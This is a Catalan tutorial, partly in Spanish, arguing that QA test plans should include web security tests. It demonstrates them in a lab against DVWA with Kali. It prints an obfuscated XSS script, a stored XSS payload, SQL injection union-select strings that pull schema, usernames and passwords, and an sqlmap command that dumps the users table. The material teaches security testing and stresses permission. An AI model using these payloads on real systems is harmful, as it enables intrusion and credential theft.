Proves de Seguretat Web que haurien de ser incloses en Test Pla QA

Quan parlem de seguretat de qualitat Web, parlem de proves que encara que són no conegudes en gairebé cap lloc les realitzen els tester, normalment es fan per part de els pentester, encara que crec haurien d’estar incloses en els Test Pla de QA.

Continua havent-hi innombrables webs i cms vulnerables que són víctimes de la pirateria. I si d’alguna cosa estic segur és que cap web pública es deslliurarà de ser víctima, ja que el 100% de les mateixes ho han estat ja en alguna ocasió.

Us mostraré alguns exemples senzills i gràfics. Tots ells es realitzen sota laboratori controlat amb metasploit2 com a víctima i Kali Linux com a atacant dins de la mateixa xarxa local. Mai s’haurien de fer fora d’un entorn controlat i sense permís previ.

Inserció de codi

Introduirem en l’input caràcters estranys:

Nota: això ens descobreix una possible vulnerabilitat perquè sembla que el servidor s’interpreta com a codi de l’aplicació:

Això ens permetria a priori poder enviar codi com en el següent exemple:
Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

NOTA: a més això mateix ho podríem realitzar amb ofuscament, amb el següent script

<script type="text/javascript">document.write(unescape('<a href="#">Pruébame</a>'))</script>

Este nos devolvería el código ofuscado en Hexadecimal, siendo esto el siguiente:
<script type='text/javascript'>
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%3C%61%20%68%72%65%66%3D%22%23%22%3E%50%72%75%E9%62%61%6D%65%3C%2F%61%3E%27%29%29%0A%3C%2F%73%63%72%69%70%74%3E'))
</script>

El qual li ho podríem passar a l’input directament i l’interpretaria d’igual manera que l’anterior.

Proves de storage, vegem un exemple ràpid:

Aquestes proves consisteixen a fer que el codi sigui persistent, de tal manera que si sobre un comentari som capaços d’enviar codi que s’executi, aquest serà persistent.

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Introduirem el següent:

Name: prueba1
Message: <script>alert(“!hola¡”)</script>

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Ara fem f5 o carregarem la pàgina en un altre navegador i veurem com es llança l’alerta:

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Injecció SQL

Dins l’apartat SQLInjection de dvwa, buscarem por id = 1
Ara si volem cercar la id 1 o tots els que son true hauriem de fer una cerca de id 1′ or 1=1#’

NOTA: Aquesta seria la primera evidència que admet injections i per tant li podríem tirar sentències sql:
Mostrar usuaris de la taula users: 1′ union select database(),user()#
Obtenir informació del schema dvwa:
1′ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
Veure les columnes de la taula user:
1′ union select column_name,2 from information_schema.columns where table_name =’users’
Veure user i password: 1′ union select user,password from users #

Supera els nivells intermedis de DVWA en SQL

Li demanem el user id: 1 or 1=1

Prova de concepte amb sqlmap:

Sqlmap és una eina desenvolupada en python per a realitzar injecció de codi sql automàticament.

Com es fa servir:

Li passarem la ip i el port de la web, a més el paràmetre amb el qual haurà de jugar sqlmap “AQUÍ”, li posarem un nivell de seguretat medium i dumpearemos la taula users de la db dvwa.

Exemple:

┌──(kali㉿kali)-[~]
└─$  sqlmap -u 'http://192.168.1.46:80/dvwa/vulnerabilities/sqli/?id=AQUI&Submit=Submit' --cookie='PHPSESSID=4547850a8b4af5e3c2904c6d2d844282;security=medium'  --dump -D dvwa -T users